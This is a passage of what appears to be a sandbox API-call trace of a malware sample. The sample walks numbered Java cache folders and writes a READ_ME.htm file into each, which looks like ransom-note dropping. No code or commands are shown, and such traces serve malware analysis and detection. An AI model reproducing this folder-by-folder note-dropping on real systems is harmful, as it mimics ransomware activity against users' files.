lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\46", lpFilePart=0x0) returned 0x44 [0147.831] SetErrorMode (uMode=0x1) returned 0x0 [0147.831] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\46\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\46\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.831] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.831] SetErrorMode (uMode=0x0) returned 0x1 [0147.832] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\46", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\46", lpFilePart=0x0) returned 0x44 [0147.832] SetErrorMode (uMode=0x1) returned 0x0 [0147.832] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\46\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\46\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.832] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.832] SetErrorMode (uMode=0x0) returned 0x1 [0147.832] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\46\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\46\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.832] SetErrorMode (uMode=0x1) returned 0x0 [0147.833] SetErrorMode (uMode=0x0) returned 0x1 [0147.833] GetFileType (hFile=0x1d0) returned 0x1 [0147.833] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a27160*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a27160*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.835] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\47", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\47", lpFilePart=0x0) returned 0x44 [0147.835] SetErrorMode (uMode=0x1) returned 0x0 [0147.835] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\47\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\47\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.835] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.835] SetErrorMode (uMode=0x0) returned 0x1 [0147.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\47", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\47", lpFilePart=0x0) returned 0x44 [0147.836] SetErrorMode (uMode=0x1) returned 0x0 [0147.836] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\47\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\47\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.836] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.836] SetErrorMode (uMode=0x0) returned 0x1 [0147.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\47\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\47\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.836] SetErrorMode (uMode=0x1) returned 0x0 [0147.839] SetErrorMode (uMode=0x0) returned 0x1 [0147.839] GetFileType (hFile=0x1d0) returned 0x1 [0147.839] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a2d058*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a2d058*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.840] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48", lpFilePart=0x0) returned 0x44 [0147.840] SetErrorMode (uMode=0x1) returned 0x0 [0147.841] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\48\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.842] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.842] SetErrorMode (uMode=0x0) returned 0x1 [0147.842] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48", lpFilePart=0x0) returned 0x44 [0147.842] SetErrorMode (uMode=0x1) returned 0x0 [0147.842] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\48\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.843] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.843] SetErrorMode (uMode=0x0) returned 0x1 [0147.843] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\48\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.843] SetErrorMode (uMode=0x1) returned 0x0 [0147.844] SetErrorMode (uMode=0x0) returned 0x1 [0147.844] GetFileType (hFile=0x1d0) returned 0x1 [0147.844] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a32f50*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a32f50*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.845] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\49", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\49", lpFilePart=0x0) returned 0x44 [0147.846] SetErrorMode (uMode=0x1) returned 0x0 [0147.846] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\49\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\49\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.846] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.846] SetErrorMode (uMode=0x0) returned 0x1 [0147.846] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\49", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\49", lpFilePart=0x0) returned 0x44 [0147.847] SetErrorMode (uMode=0x1) returned 0x0 [0147.847] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\49\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\49\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.847] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.847] SetErrorMode (uMode=0x0) returned 0x1 [0147.847] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\49\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\49\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.847] SetErrorMode (uMode=0x1) returned 0x0 [0147.848] SetErrorMode (uMode=0x0) returned 0x1 [0147.848] GetFileType (hFile=0x1d0) returned 0x1 [0147.848] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a38e48*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a38e48*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.849] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\5", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\5", lpFilePart=0x0) returned 0x43 [0147.855] SetErrorMode (uMode=0x1) returned 0x0 [0147.855] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\5\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\5\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.855] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.855] SetErrorMode (uMode=0x0) returned 0x1 [0147.856] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\5", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\5", lpFilePart=0x0) returned 0x43 [0147.856] SetErrorMode (uMode=0x1) returned 0x0 [0147.856] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\5\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\5\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.856] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.856] SetErrorMode (uMode=0x0) returned 0x1 [0147.856] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\5\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\5\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.856] SetErrorMode (uMode=0x1) returned 0x0 [0147.857] SetErrorMode (uMode=0x0) returned 0x1 [0147.857] GetFileType (hFile=0x1d0) returned 0x1 [0147.857] WriteFile (in: hFile=0x1d0, lpBuffer=0x2854968*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2854968*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.859] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\50", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\50", lpFilePart=0x0) returned 0x44 [0147.859] SetErrorMode (uMode=0x1) returned 0x0 [0147.859] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\50\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\50\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.859] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.859] SetErrorMode (uMode=0x0) returned 0x1 [0147.859] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\50", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\50", lpFilePart=0x0) returned 0x44 [0147.860] SetErrorMode (uMode=0x1) returned 0x0 [0147.860] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\50\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\50\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.860] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.860] SetErrorMode (uMode=0x0) returned 0x1 [0147.860] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\50\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\50\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.860] SetErrorMode (uMode=0x1) returned 0x0 [0147.875] SetErrorMode (uMode=0x0) returned 0x1 [0147.876] GetFileType (hFile=0x1d0) returned 0x1 [0147.876] WriteFile (in: hFile=0x1d0, lpBuffer=0x285a860*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x285a860*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.877] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\51", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\51", lpFilePart=0x0) returned 0x44 [0147.878] SetErrorMode (uMode=0x1) returned 0x0 [0147.878] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\51\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\51\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.878] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.878] SetErrorMode (uMode=0x0) returned 0x1 [0147.878] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\51", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\51", lpFilePart=0x0) returned 0x44 [0147.878] SetErrorMode (uMode=0x1) returned 0x0 [0147.879] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\51\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\51\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.879] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.879] SetErrorMode (uMode=0x0) returned 0x1 [0147.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\51\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\51\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.879] SetErrorMode (uMode=0x1) returned 0x0 [0147.880] SetErrorMode (uMode=0x0) returned 0x1 [0147.880] GetFileType (hFile=0x1d0) returned 0x1 [0147.880] WriteFile (in: hFile=0x1d0, lpBuffer=0x2860758*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2860758*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.881] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\52", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\52", lpFilePart=0x0) returned 0x44 [0147.881] SetErrorMode (uMode=0x1) returned 0x0 [0147.881] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\52\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\52\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.884] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.884] SetErrorMode (uMode=0x0) returned 0x1 [0147.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\52", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\52", lpFilePart=0x0) returned 0x44 [0147.884] SetErrorMode (uMode=0x1) returned 0x0 [0147.884] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\52\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\52\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e697e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e697e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e697e0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.885] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.885] SetErrorMode (uMode=0x0) returned 0x1 [0147.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\52\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: 